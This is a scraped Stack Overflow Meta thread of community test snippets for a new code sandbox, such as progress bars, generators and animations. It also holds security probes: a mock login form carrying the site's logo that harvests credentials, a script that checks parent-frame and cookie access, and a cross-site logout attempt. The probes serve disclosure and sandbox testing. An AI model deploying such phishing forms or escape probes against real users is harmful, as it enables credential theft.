progress[value]::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #f44);
background-size: 35px 20px, 100% 100%, 100% 100%;
border-radius:3px;
/* Firefox doesn't support CSS3 keyframe animations on progress element. Hence, we did not include animate-stripes in this code block */
}
/* Fallback technique styles */
.progress-bar {
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
/* Dimensions should be similar to the parent progress element. */
width: 100%; height:20px;
}
.progress-bar span {
background-color: royalblue;
border-radius: 3px;
display: block;
text-indent: -9999px;
}
p[data-value] {
position: relative;
}
/* The percentage will automatically fall in place as soon as we make the width fluid. Now making widths fluid. */
p[data-value]:after {
content: attr(data-value) '%';
position: absolute; right:0;
}
.html5::-webkit-progress-value,
.python::-webkit-progress-value {
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #f44);
}
.css3::-webkit-progress-value,
.php::-webkit-progress-value
{
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #ff0);
}
.jquery::-webkit-progress-value,
.node-js::-webkit-progress-value
{
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #690);
}
/* Similarly, for Mozillaa. Unfortunately combining the styles for different browsers will break every other browser. Hence, we need a separate block. */
.html5::-moz-progress-bar,
.php::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #f44);
}
.css3::-moz-progress-bar,
.php::-moz-progress-bar {
{
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #ff0);
}
.jquery::-moz-progress-bar,
.node-js::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #690);
}
/* Now we are good to duplicate html code for other skills and then add the css code for the new skill based on data-skill */
/* THE END */
<progress style="text-align: right" id="progressBar" value="0" max="100" style="width:300px;"></progress>
<span id="status"></span>
<h1 id="finalMessage"></h1>
<script type="text/javascript" language="javascript">
function progressBarSim(al) {
var bar = document.getElementById('progressBar');
var status = document.getElementById('status');
status.innerHTML = al+"%";
bar.value = al;
al++;
var sim = setTimeout("progressBarSim("+al+")",300);
var finalMessage = document.getElementById('finalMessage');
finalMessage.innerHTML = "In Progress!!!";
if(al == 100){
status.innerHTML = "100%";
bar.value = 100;
clearTimeout(sim);
//var finalMessage = document.getElementById('finalMessage');
finalMessage.innerHTML = "You Got a Reward!!! 🏆";
}
}
var amountLoaded = 0;
progressBarSim(amountLoaded);
</script>
-
8
-
3
Here's an example of how things could go wrong. Imagine that instead of being in the answer, where it's obvious what's going on, this is all inserted from an externally loaded script.
var u;
var p;
function DoBadStuff(){
u = document.getElementById('u');
p = document.getElementById('p');
console.log(u.value);
console.log(p.value);
/* Theoretically send phished passwords off somewhere via AJAX */
}
#warning {
background: red;
color: white;
padding: 5px;
position: absolute;
width: 100%;
top: 0;
right: 0;
left: 0;
opacity: 0;
transition: opacity 0.5s;
text-align: center;
}
body:hover #warning {
opacity: 0.9;
}
body, warning p {
padding: 0;
margin: 0;
}
body {
font-family: sans-serif;
}
#f input {
width: 300px;
border: 1px solid #ccc;
margin: 5px 0;
padding: 1px 5px;
line-height: 20px;
}
#f {
background: #EAEAEA;
border: #AAA solid 1px;
width: 50%;
padding: 10px;
float: right;
margin: 40px 0 0 0;
}
#i {
width: 40%;
width: calc(100% - 380px);
float: left;
padding: 10px 0 0 10px;
}
<div id="warning"><p><strong>Warning!</strong> Don't actually enter your password... this isn't a real login form!</p></div>
<div id="i">
<img src="https://cdn.sstatic.net/stackexchange/img/logos/so/so-logo.png" width="200" alt="Stack Overflow" />
<p>Stack Snippets are only available to logged in users with 200 reputation. Please enter your Stack Exchange credentials to log in.</p>
</div>
<div id="f">
<input type="text" id="u" placeholder="email" /> <br/>
<input type="password" id="p" placeholder="password" /> <br/>
<button id="b" onclick="DoBadStuff()">Log In</button>
</div>
-
3If it was true, i would except to don't see the "Run code snippet" button at all :) Commented Aug 27, 2014 at 17:26
-
4@MarcoAcierno a lot of people are gullible, and a lot of sites don't tell you that you can't do something until you try to do it.– nhinkleCommented Aug 27, 2014 at 17:29
-
4@MarcoAcierno Consider SO's vote buttons and "add comment" link button -- those are all visible to users who can't use them, and the site doesn't mention it until you try to use one of them. Commented Aug 28, 2014 at 15:01
-
-
@MarcoAcierno, this is a world where people send their life savings to someone who sent them a random email. I think the example here is excellent social engineering with the SO logo and how it is worded. Could easily fool someone into giving away their username and password, which is then probably the same credentials they use everywhere else. Commented Sep 1, 2014 at 21:41
-
1Possible solutions: 1. run code in new window like a JSFiddle. different domain e.g. stackoverflowsnippets.com. use these cues to indicate that it isn't as trustworthy as the original stackoverflow.com. 2. annoying popup to warn you of the danger and then click accept (uck!). 3. snippets need reputation level to create immediately. if you don't have the rep someone else needs to approve. although that could drive people back to using jsfiddle. 4. moderate quickly, automatically prioritise any snippet with 'username' or 'password' etc. Commented Sep 1, 2014 at 21:45
-
@MartinCapodici I like the idea of only allowing users with a certain reputation level to create snippets, although there'd have to be a way to handle edits. Perhaps snippets created or edited by low-rep users would go into a review queue. There'll always be a risk though; you could for example import a script from your own webserver that looks like it's some library or innocent code, but then later change it to something malicious without ever changing the SO post.– nhinkleCommented Sep 2, 2014 at 1:31
-
@MartinCapodici, This is also a world where people don't care about that as long as they aren't the victim meta.stackoverflow.com/questions/269753/…– PacerierCommented Sep 29, 2014 at 14:25
Ninja Name Generator
var items = new Array(
"a", "ka", "sa", "ta", "na", "ha", "ma", "ya", "ra", "wa",
"i", "ki", "shi", "chi", "ni", "hi", "mi", "ri",
"u", "ku", "su", "tsu", "nu", "fu", "mu", "yu", "ru",
"e", "ke", "se", "te", "ne", "he", "me", "re",
"o", "ko", "so", "to", "no", "ho", "mo", "yo", "ro", "wo",
"kya", "sha", "cha", "nya", "hya", "mya", "rya",
"kyu", "shu", "chu", "nyu", "hyu", "myu", "ryu",
"kyo", "sho", "cho", "nyo", "hyo", "myo", "ryo",
"ga", "za", "da", "ba", "pa",
"gi", "ji", "bi", "pi",
"gu", "zu", "bu", "pu",
"ge", "ze", "de", "be", "pe",
"go", "zo", "do", "bo", "po",
"gya", "ja", "bya", "pya",
"gyu", "ju", "byu", "pyu",
"gyo", "jo", "byo", "pyo"
);
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function capitalise(string) {
return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
}
function random_jp() {
var result = new Array(0,0,0,0,0).slice(0, getRandomInt(3,5)).map(function () {
return items[Math.floor(Math.random() * items.length)];
});
return capitalise(result.join(""));
}
window.onload = function() {
var elem = document.getElementById("ninja-name");
elem.innerHTML = "You are " + random_jp() + ", master of the " + random_jp() + " ninja technique!"
};
<h1 id="ninja-name"> Go go javascript! </h1>
-
4For some reason they don't sound at all like japanese; I guess one "easy" fix would be to take a huge chunk of japanese text, romanize it, calculate "weights" for each kana, and use those weights when generating the names. Commented May 31, 2015 at 19:57
Print months in your own language
m = [];
for (i = 12; i--;) {
m[i] = (new Date(0, i, 5)).toLocaleString(0, {
month: "long"
});
}
document.write(m)
-
It starts by the last month in French (December, January, February, ... November) :( Commented Aug 26, 2014 at 8:02
-
-
Let me fix this... German had march two times and no october. Now everything is there. Commented Aug 26, 2014 at 8:05
-
@ArtjomB With your fix I have the same problem as Maxime Lorant xD Commented Aug 26, 2014 at 8:07
-
1@ArtjomB I think it depends on the browser after all. Changed 11 to 12 and now it's fine. Commented Aug 26, 2014 at 8:08
-
4It works fine for me now, don't touch anything, I don't care of other languages :p Commented Aug 26, 2014 at 8:14
-
iPad output is ... 5 January 1900 00:00:00 GMT,5 February 1900 00:00:00 GMT,5 March 1900 00:00:00 GMT,4 April 1900 23:00:00 GMT, [etc]. Note how it takes care of the clock-change at the end of March. Commented Aug 27, 2014 at 18:03
I've noticed some points during testing:
- the language order is not the same in the displayed post and in edit mode, this is a bit confusing
- you can't edit the code using the code snippet tool: if you have already the
Begin snippet: js
tag in your content and click on the button, the content is not prefilled - make edit pane resizable because they are too small, and depending on what you do you want more space for JavaScript or for CSS only
- there is no error reporting when the code fails, neither syntax errors or runtime errors
- debugger keyword is not working for me using Firefox 30: the Firebug debugger is activated but the file shown is blank making impossible to use step into/over buttons
- since the JS code is all inlined on one single line, it doesn't handle simple comments in your code (test at the end of my snippet below)
Also, here are my two cents tests, almost accessing all kind of objects and properties (with no success so far):
function debug() {
var args = [].slice.call(arguments);
console.log.apply(console, args);
/*window.alert.apply(window, [args.join(' ')]);*/
}
function showType(a, b) {
debug(a, typeof b);
}
var TESTS = [
/* PASSING TESTS */
function() {
debug('#################');
debug('# PASSING TESTS #');
debug('#################');
},
function() {
showType('parent ', parent);
},
function() {
showType('parent.window', parent.window);
},
function() {
showType('console', console);
},
function() {
showType('top', top);
},
function() {
showType('eval', eval);
},
function() {
showType('parent.postMessage', parent.postMessage);
},
function() {
showType('top.postMessage', top.postMessage);
},
function() {
showType('document.cookies', document.cookies);
},
function() {
debug( Object.keys(window) );
/* prints: window,location,top,document,InstallTrigger,console,showType,TESTS,external,sidebar */
},
function() {
debug( Object.keys(document) );
/* prints: location */
},
function() {
debug( Object.keys(top) );
debug( Object.keys(top).length );
/* prints: 0 */
},
function() {
debug( Object.keys(parent) );
debug( Object.keys(parent).length );
/* prints: 0 */
},
function() {
console.log('some log output');
},
function(){
showType('top.top', top.top);
},
function(){
showType('parent.top', parent.top);
},
function(){
showType('top.location', top.location);
},
function(){
showType('parent.location', parent.location);
},
function(){
showType('top.window', top.window);
},
function(){
showType('parent.window', parent.window);
},
function(){
showType('parent', parent);
},
function(){
showType('parent.window', parent.window);
},
function(){
showType('parent.window.parent', parent.window.parent);
},
function(){
showType('parent.window.parent.window', parent.window.parent.window);
},
function(){
showType('window.addEventListener', window.addEventListener);
},
function(){
showType('parent.window.top', parent.window.top);
},
function() {
debug(top === parent);
debug(top.postMessage=== parent.postMessage);
},
function(){
showType('parent.window.onbeforeunload', parent.window.onbeforeunload);
},
function(){
showType('parent.window.document', parent.window.document);
},
function(){
showType('parent.location.replace', parent.location.replace);
},
function(){
eval("showType('parent', parent);");
},
/* MIXED TESTS */
/* with success and failures */
function() {
debug('###############');
debug('# MIXED TESTS #');
debug('###############');
},
function() {
var keys = Object.keys(window), i = keys.length, name;
while (name = keys[--i])
{
try {
showType('top.'+name, top[name]);
} catch (e) {
debug('KO top.'+name, e);
}
try {
showType('parent.'+name, parent[name]);
} catch (e) {
debug('KO parent.'+name, e);
}
}
},
/* FAILING TESTS */
function() {
debug('#################');
debug('# FAILING TESTS #');
debug('#################');
},
function KO() {
showType('parent.document', parent.document);
},
function KO() {
showType('parent.document.cookies', parent.document.cookies);
},
function KO() {
showType('parent.document.postMessage', parent.document.postMessage);
},
function KO() {
showType('parent.window.alert', parent.window.alert);
},
function KO() {
showType('parent.window.StackExchange', parent.window.StackExchange);
},
function KO() {
showType('parent.window.console', parent.window.console);
},
function KO() {
showType('parent.cookies', parent.cookies);
},
function KO() {
showType('top.cookies', top.cookies);
},
function KO() {
showType('parent.StackExchange', parent.StackExchange);
},
function KO() {
showType('top.StackExchange', top.StackExchange);
},
function KO() {
showType('parent.alert', parent.alert);
},
function KO() {
showType('top.alert', top.alert);
},
function KO() {
showType('parent.console', parent.console);
},
function KO() {
showType('top.console', top.console);
},
function KO() {
showType('parent.addEventListener', parent.addEventListener);
},
function KO() {
showType('top.addEventListener', top.addEventListener);
},
function KO() {
showType('top.snippetRenderer', top.snippetRenderer);
},
function KO() {
showType('parent.snippetRenderer', parent.snippetRenderer);
},
function KO() {
showType('top.jQuery', top.jQuery);
},
function KO() {
showType('parent.jQuery', parent.jQuery);
},
function KO(){
showType('parent.addEventListener', parent.addEventListener);
},
function KO(){
showType('parent.window.parent.addEventListener', parent.window.parent.addEventListener);
},
function KO(){
showType('parent.window.top.addEventListener', parent.window.top.addEventListener);
},
function KO(){
parent.location.replace('https://stackoverflow.com');
},
function KO(){
showType('parent.location.href', parent.location.href);
},
function KO(){
parent.location.href = 'https://stackoverflow.com'
},
function KO(){
eval("showType('parent.addEventListener', parent.addEventListener);");
},
function KO(){
showType('parent.window.open', parent.window.open);
},
function KO(){
top.window.top.open('https://stackoverflow.com', '_blank');
},
function KO(){
window.open('https://stackoverflow.com', '_blank');
},
];
TESTS.forEach(function(test) {
debug('Running:', test.toString());
try {
test();
} catch (e) {
debug('KO ', e);
}
});
alert('Almost end of the script');
// following code will never be executed
alert('End of the script');
Epilepsy Warning!!! (thanks @Haney)
var x = 0;
var y = 0;
var dx = -1;
var dy = -1;
var hue = 0;
function move()
{
var bump = false;
if (x <= 0 || x > document.body.scrollWidth - 105) { dx = -dx; bump = true; }
x += dx;
if (y <= 0 || y > document.body.scrollHeight - 105) { dy = -dy; bump = true; }
y += dy;
block.style.left = x + 'px';
block.style.top = y + 'px';
if (bump) {
var r = Math.floor((Math.sin(hue) + 1) * 8);
var g = Math.floor((Math.sin(hue - Math.PI * 2 / 3) + 1) * 8);
var b = Math.floor((Math.sin(hue + Math.PI * 2 / 3) + 1) * 8);
console.log('#' + r.toString(16) + g.toString(16) + b.toString(16));
block.style.background = '#' + r.toString(16) + g.toString(16) + b.toString(16);
hue += .5;
}
}
setInterval(move, 5);
#block {
width: 100px;
height: 100px;
border: 5px solid gray;
border-radius: 100%;
position: fixed;
opacity: 0.5;
background: #444;
}
<div id="block"></div>
-
-
4
I suppose global eval should be blocked?
(0,eval)("alert('indirect eval call not blocked')");
new Function("alert('function constructor not blocked')")();
Or maybe not. It's global to the sandbox after all.
-
2
-
23
-
2Nothing. After I press the button, the Fram expands, but remains empty, and nothing else happens. Commented Aug 26, 2014 at 1:09
-
-
-
-
-
1It works on both FF and Chrome for me. The reason why it is not working for some is because of browser settings, not because the code does not work– SammayeCommented Aug 26, 2014 at 7:14
-
Okay, now it happened in FF 31.0. I didn't change any settings. I don't know why... Commented Aug 26, 2014 at 7:27
-
-
12@Whom it didn't work, is it because you tried Abhi's asnwer and ticked the
Prevent this page from showing additional dialogs
or its equivalent for your browser? xD– DanCommented Aug 26, 2014 at 15:17
Can I log you out?
<iframe src="https://www.stackoverflow.com/users/logout"></iframe>
<img src="https://www.stackoverflow.com/users/logout" />
-
3didn't log me out :(
http://stackoverflow.com/users/logout does not permit cross-origin framing
– CRABOLOCommented Aug 28, 2014 at 0:28 -
1
Sierpinski's Triangle
window.onload
=
function ()
{
var L=400,ST=document.getElementById("st");
ST.style.width=L + "px";
ST.style.height=L + "px";
var div=null;
function addPointAt(a)
{
div=document.createElement("div");
div.style.left=Math.round(a[0]) + "px";
div.style.top=Math.round(a[1]) + "px";
ST.appendChild(div);
}
var V=[[L,L],[Math.round(L/2.0),0],[0,L]];
addPointAt(V[0]),addPointAt(V[1]),addPointAt(V[2]);
var DOSTERCIOS=2.0/3.0,UNTERCIO=1.0/3.0;
var n=null,r=Math.random();
if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
var p=[V[n][0],V[n][1]];
var ITERATIONS=10000;
for ( var i=0 ; i<ITERATIONS ; ++i ) {
r=Math.random();
if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
p[0]=(V[n][0] + p[0])/2.0;
p[1]=(V[n][1] + p[1])/2.0;
addPointAt(p);
}
document.getElementsByTagName("span")[0].innerHTML="";
};
body
{
height:100%;
}
#st
{
position:relative;
margin:0 auto;
background-color:#fff;
}
#st div
{
position:absolute;
width:2px;
height:2px;
background-color:#f00;
border-radius:1px;
}
<span>Just wait a moment !!!</span>
<div id="st"></div>
<iframe>
test.
<iframe src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>
<iframe>
test with height and width:
<iframe height="500px" width="500px" src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>
<iframe>
test with larger than necessary height and width:
<iframe height="5000px" width="5000px" src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>
-
4Works for me, but is quite tiny (only spans less then half the screen width). Too small to use. Commented Aug 26, 2014 at 0:32
-
3
-
Yeah, I was curious if you could run these snippets in iframes but that doesn't appear to be the case.– j.f.Commented Aug 26, 2014 at 1:43
-
-
32Darn it, I can't run an iframe test inside of an iframe test. What kind of a world has this become?– user50049Commented Aug 26, 2014 at 10:09
-
9
-
12
-
1
-
@j.f. I just browsed through here. And I clicked "Run Snippet". Then it showed "Consider add a message why downvote". I noticed I pressed the downvote button. FML– user6250760Commented Jul 28, 2017 at 6:50
whateverNumberOfPointsYouWant * -1
and let's settle in the middle?-9001
points please ;)